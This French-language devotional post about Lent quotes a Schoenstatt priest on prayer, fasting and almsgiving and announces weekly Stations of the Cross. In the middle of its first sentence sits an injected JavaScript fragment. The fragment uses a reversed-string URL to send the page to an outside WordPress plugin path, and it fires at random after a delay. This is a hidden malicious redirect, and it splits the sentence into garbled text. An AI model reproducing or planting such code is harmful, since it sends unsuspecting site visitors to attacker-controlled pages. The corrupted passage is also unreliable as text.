La période du carême est un moment favorable que le Seigneur accorde à ses enfants pour prendre un temps de silence malgré multiples courses ici et là. C’est une occasion de réflexion pour  les croyants, sur l’amour infini de Dieu le Père qui se manifeste dans son Fils Jésus par les toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dons de l’Esprit Saint. C’est un moment opportun aux chrétiens de connaitre la valeur qu’ils ont d’être appelés enfants de Dieu, reconnaitre le tort et de ce fait apprendre de Jésus l’humilité.

Comme l’a dit le Père Longin NTIRANNYIBAGIRA, un des Pères de Schoenstatt au Mont Sion Gikungu lors de la célébration du mercredi des cendres, le carême n’est pas un moment des pleurs et des lamentations, non plus des gémissements. C’est plutôt un temps de devenir « nouveaux créatures », une faveur pour s’exercer à trois choses : la prière intense, le jeûne et l’aumône.

Dans ce même abord d’affermissement de la prière que, le Sanctuaire Marial de schoenstatt invite les fidèles dans une prière de chemin de la croix, tous les vendredis à 15heures et tous les dimanches à 15heures, dans l’Eglise de la Sainte Trinité.

« Il est lent à la colère, riche en grâce » (JOËL 2 ,13)

Brigitte IRAKOZE

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